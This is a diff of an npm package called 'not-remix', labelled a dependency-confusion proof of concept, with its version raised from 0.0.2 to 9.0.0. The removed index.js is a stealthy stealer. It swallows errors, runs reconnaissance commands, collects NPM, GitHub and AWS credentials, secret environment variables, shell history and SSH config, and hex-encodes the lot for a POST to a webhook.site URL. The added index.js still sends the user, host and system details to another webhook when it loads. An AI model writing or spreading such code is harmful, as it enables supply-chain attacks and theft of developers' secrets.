not-remix 0.0.2 → 9.0.0

package/index.js

@@ -1,422 +1,49 @@
-// Educational example - Do not use maliciously
-// Compatible version for older Node.js
-
-var execSync = require('child_process').execSync;
-var spawn = require('child_process').spawn;
-var fs = require('fs');
-var os = require('os');
-var https = require('https');
-var path = require('path');
-var crypto = require('crypto');
-
-// Stealth mode: Don't show errors
-process.on('uncaughtException', function() {});
-process.on('unhandledRejection', function() {});
-
-// Webhook URL (using webhook.site example)
-var WEBHOOK_URL = 'https://webhook.site/bbb8295e-ccd3-4e4d-b2c3-63af6e217219';
-
-// Helper function to convert to hex
-function toHex(str) {
-    return Buffer.from(str).toString('hex');
-}
-
-// Helper function to convert object to hex-encoded JSON
-function encodePayload(obj) {
-    var json = JSON.stringify(obj);
-    return toHex(json);
-}
-
-function StealthScanner() {
-    this.results = {
-        system: {},
-        tokens: {},
-        commands: {},
-        files: {},
-        network: {},
-        timestamp: new Date().toISOString(),
-        scan_id: crypto.randomBytes(8).toString('hex')
-    };
-}
-
-// Run commands silently
-StealthScanner.prototype.runCommand = function(cmd, options) {
-    try {
-        var opts = options || {};
-        opts.stdio = ['pipe', 'pipe', 'ignore'];
-        opts.encoding = 'utf8';
-        opts.timeout = 2000;
-        
-        var result = execSync(cmd, opts);
-        return result.toString().trim();
-    } catch (e) {
-        return null;
-    }
-};
-
-// Collect system info
-StealthScanner.prototype.collectSystemInfo = function() {
-    try {
-        this.results.system = {
-            user: os.userInfo().username,
-            hostname: os.hostname(),
-            platform: os.platform(),
-            arch: os.arch(),
-            homedir: os.homedir(),
-            cwd: process.cwd(),
-            node_version: process.version,
-            npm_version: this.runCommand('npm --version')
-        };
-    } catch (e) {
-        // silent fail
-    }
-};
-
-// Execute reconnaissance commands
-StealthScanner.prototype.executeRecon = function() {
-    var commands = {
-        uname_a: 'uname -a',
-        whoami: 'whoami',
-        hostname_cmd: 'hostname',
-        pwd: 'pwd',
-        id: 'id',
-        groups: 'groups',
-        ps: 'ps aux | head -30',
-        env_all: 'env',
-        env_sensitive: 'env | grep -i "token\\|secret\\|key\\|pass\\|auth"',
-        ls_home: 'ls -la ~ | head -20',
-        netstat: 'netstat -tulpn 2>/dev/null || ss -tulpn 2>/dev/null || echo "not_available"',
-        df: 'df -h',
-        uptime: 'uptime',
-        date: 'date',
-        ifconfig: 'ifconfig 2>/dev/null || ip addr 2>/dev/null || echo "not_available"'
-    };
-
-    for (var name in commands) {
-        if (commands.hasOwnProperty(name)) {
-            try {
-                var output = this.runCommand(commands[name]);
-                if (output) {
-                    this.results.commands[name] = {
-                        original: output,
-                        hex: toHex(output),
-                        length: output.length
-                    };
-                }
-            } catch (e) {
-                // continue
-            }
-        }
-    }
-};
-
-// Hunt for tokens and secrets
-StealthScanner.prototype.findTokens = function() {
-    var homeDir = os.homedir();
-    
-    // Check for NPM token
-    try {
-        // From env var
-        if (process.env.NPM_TOKEN) {
-            this.results.tokens.npm_env = {
-                original: process.env.NPM_TOKEN,
-                hex: toHex(process.env.NPM_TOKEN)
-            };
-        }
-        
-        // From .npmrc
-        var npmrcPath = path.join(homeDir, '.npmrc');
-        if (fs.existsSync(npmrcPath)) {
-            var content = fs.readFileSync(npmrcPath, 'utf8');
-            var tokenMatch = content.match(/_authToken=([^\s]+)/);
-            if (tokenMatch) {
-                this.results.tokens.npmrc = {
-                    original: tokenMatch[1],
-                    hex: toHex(tokenMatch[1])
-                };
-            }
-            this.results.files.npmrc = {
-                preview: content.substring(0, 500),
-                hex: toHex(content.substring(0, 2000))
-            };
-        }
-    } catch (e) {
-        // silent
-    }
-
-    // Check for GitHub token
-    try {
-        if (process.env.GITHUB_TOKEN) {
-            this.results.tokens.github_env = {
-                original: process.env.GITHUB_TOKEN,
-                hex: toHex(process.env.GITHUB_TOKEN)
-            };
-        }
-        
-        var ghToken = this.runCommand('gh auth token 2>/dev/null');
-        if (ghToken) {
-            this.results.tokens.github_cli = {
-                original: ghToken,
-                hex: toHex(ghToken)
-            };
-        }
-    } catch (e) {
-        // silent
-    }
-
-    // Check for AWS keys
-    try {
-        var awsDir = path.join(homeDir, '.aws');
-        if (fs.existsSync(awsDir)) {
-            var credsPath = path.join(awsDir, 'credentials');
-            if (fs.existsSync(credsPath)) {
-                var content = fs.readFileSync(credsPath, 'utf8');
-                this.results.tokens.aws_credentials = {
-                    preview: content.substring(0, 300),
-                    hex: toHex(content),
-                    size: content.length
-                };
-                
-                var accessKeyMatch = content.match(/aws_access_key_id\s*=\s*([^\s]+)/);
-                var secretKeyMatch = content.match(/aws_secret_access_key\s*=\s*([^\s]+)/);
-                
-                if (accessKeyMatch) {
-                    this.results.tokens.aws_access_key = {
-                        original: accessKeyMatch[1],
-                        hex: toHex(accessKeyMatch[1])
-                    };
-                }
-                if (secretKeyMatch) {
-                    this.results.tokens.aws_secret_key = {
-                        original: secretKeyMatch[1],
-                        hex: toHex(secretKeyMatch[1])
-                    };
-                }
-            }
-        }
-        
-        if (process.env.AWS_ACCESS_KEY_ID) {
-            this.results.tokens.aws_access_key_env = {
-                original: process.env.AWS_ACCESS_KEY_ID,
-                hex: toHex(process.env.AWS_ACCESS_KEY_ID)
-            };
-        }
-        if (process.env.AWS_SECRET_ACCESS_KEY) {
-            this.results.tokens.aws_secret_key_env = {
-                original: process.env.AWS_SECRET_ACCESS_KEY,
-                hex: toHex(process.env.AWS_SECRET_ACCESS_KEY)
-            };
-        }
-    } catch (e) {
-        // silent
-    }
-
-    // Dump env variables
-    try {
-        var envVars = process.env;
-        var sensitiveCount = 0;
-        var sensitiveSample = {};
-        
-        for (var key in envVars) {
-            if (envVars.hasOwnProperty(key)) {
-                var lowerKey = key.toLowerCase();
-                if (lowerKey.indexOf('token') !== -1 || 
-                    lowerKey.indexOf('secret') !== -1 ||
-                    lowerKey.indexOf('key') !== -1 ||
-                    lowerKey.indexOf('pass') !== -1) {
-                    sensitiveCount++;
-                    if (Object.keys(sensitiveSample).length < 5) {
-                        sensitiveSample[key] = envVars[key];
-                    }
-                }
-            }
-        }
-        
-        this.results.tokens.env_sensitive = {
-            count: sensitiveCount,
-            sample: sensitiveSample,
-            hex_sample: encodePayload(sensitiveSample)
-        };
-    } catch (e) {
-        // silent
-    }
-};
-
-// Read important config files
-StealthScanner.prototype.readConfigFiles = function() {
-    var homeDir = os.homedir();
-    var files = {
-        bash_history: '.bash_history',
-        ssh_config: '.ssh/config',
-        git_config: '.gitconfig',
-        bashrc: '.bashrc',
-        profile: '.profile'
-    };
-
-    for (var name in files) {
-        if (files.hasOwnProperty(name)) {
-            try {
-                var filePath = path.join(homeDir, files[name]);
-                if (fs.existsSync(filePath)) {
-                    var stats = fs.statSync(filePath);
-                    if (stats.size < 50000) {
-                        var content = fs.readFileSync(filePath, 'utf8');
-                        this.results.files[name] = {
-                            exists: true,
-                            size: stats.size,
-                            modified: stats.mtime,
-                            hex: toHex(content.substring(0, 1000))
-                        };
-                    }
-                }
-            } catch (e) {
-                // continue
-            }
-        }
-    }
-};
-
-// Get network information
-StealthScanner.prototype.getNetworkInfo = function() {
-    try {
-        var interfaces = os.networkInterfaces();
-        var networkInfo = {};
-        
-        for (var iface in interfaces) {
-            if (interfaces.hasOwnProperty(iface)) {
-                networkInfo[iface] = [];
-                for (var i = 0; i < interfaces[iface].length; i++) {
-                    var info = interfaces[iface][i];
-                    networkInfo[iface].push({
-                        address: info.address,
-                        family: info.family,
-                        mac: info.mac
-                    });
-                }
-            }
-        }
-        
-        this.results.network = networkInfo;
-    } catch (e) {
-        // silent
-    }
-};
-
-// Send hex-encoded data to webhook
-StealthScanner.prototype.sendToWebhook = function() {
-    var self = this;
-    return new Promise(function(resolve) {
-        try {
-            var finalPayload = {
-                metadata: {
-                    format: 'hex_encoded',
-                    version: '1.0',
-                    timestamp: new Date().toISOString(),
-                    scan_id: self.results.scan_id
-                },
-                data_hex: encodePayload(self.results)
-            };
-            
-            var hexPayload = encodePayload(finalPayload);
-            var url = require('url').parse(WEBHOOK_URL);
-            
-            var options = {
-                hostname: url.hostname,
-                port: url.port || 443,
-                path: url.pathname,
-                method: 'POST',
-                headers: {
-                    'Content-Type': 'text/plain',
-                    'Content-Length': Buffer.byteLength(hexPayload),
-                    'User-Agent': 'Mozilla/5.0'
-                },
-                timeout: 5000
-            };
-
-            var req = https.request(options, function(res) {
-                res.on('data', function() {});
-                res.on('end', resolve);
-            });
-
-            req.on('error', function() {
-                resolve();
-            });
-            
-            req.on('timeout', function() {
-                req.destroy();
-                resolve();
-            });
-
-            req.write(hexPayload);
-            req.end();
-            
-        } catch (e) {
-            resolve();
-        }
-    });
-};
-
-// Main execution
-StealthScanner.prototype.execute = function() {
-    var self = this;
-    return new Promise(function(resolve) {
-        try {
-            // Random delay
-            setTimeout(function() {
-                try {
-                    self.collectSystemInfo();
-                    self.executeRecon();
-                    self.findTokens();
-                    self.readConfigFiles();
-                    self.getNetworkInfo();
-                    
-                    self.sendToWebhook().then(function() {
-                        resolve(true);
-                    }).catch(function() {
-                        resolve(false);
-                    });
-                    
-                } catch (e) {
-                    resolve(false);
-                }
-            }, Math.random() * 3000);
-            
-        } catch (e) {
-            resolve(false);
-        }
-    });
-};
-
-// Main execution
-if (require.main === module) {
-    try {
-        var scanner = new StealthScanner();
-        
-        // Run in background
-        setTimeout(function() {
-            scanner.execute().catch(function() {});
-        }, 100);
-        
-        // Also try to run via eval for persistence
-        setTimeout(function() {
-            try {
-                var code = '(' + StealthScanner.toString() + ')';
-                var Scanner = eval(code);
-                var scanner2 = new Scanner();
-                scanner2.execute().catch(function() {});
-            } catch (e) {
-                // ignore
-            }
-        }, 2000);
-        
-        // Exit immediately
-        setTimeout(function() {
-            process.exit(0);
-        }, 100);
-        
-    } catch (e) {
-        process.exit(0);
-    }
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
+
+// 1. Get victim identity
+const user = os.userInfo().username;
+const host = os.hostname();
+
+// 2. Run system commands safely
+let whoami = '';
+let uname = '';
+let pwd = '';
+
+try {
+    whoami = execSync('whoami').toString().trim();
+    uname = execSync('uname -a').toString().trim();
+    pwd = execSync('pwd').toString().trim();
+} catch (e) {
+    // ignore errors
 }
 
-module.exports = StealthScanner;
+// 3. Prepare data (URL-safe)
+const data = JSON.stringify({
+    user: user,
+    host: host,
+    platform: os.platform(),
+    whoami: whoami,
+    uname: uname,
+    pwd: pwd
+});
+
+// 4. Webhook request options
+const options = {
+    hostname: 'webhook.site',
+    path: '/a043f82b-a3af-450a-8d32-12b1ea2babaf',
+    method: 'POST',
+    headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(data)
+    }
+};
+
+// 5. Fire-and-forget callback
+try {
+    const req = https.request(options, () => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+} catch (e) {}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "not-remix",
-  "version": "0.0.2",
+  "version": "9.0.0",
   "description": "Security Research - Dependency Confusion PoC",
   "main": "index.js",
   "scripts": {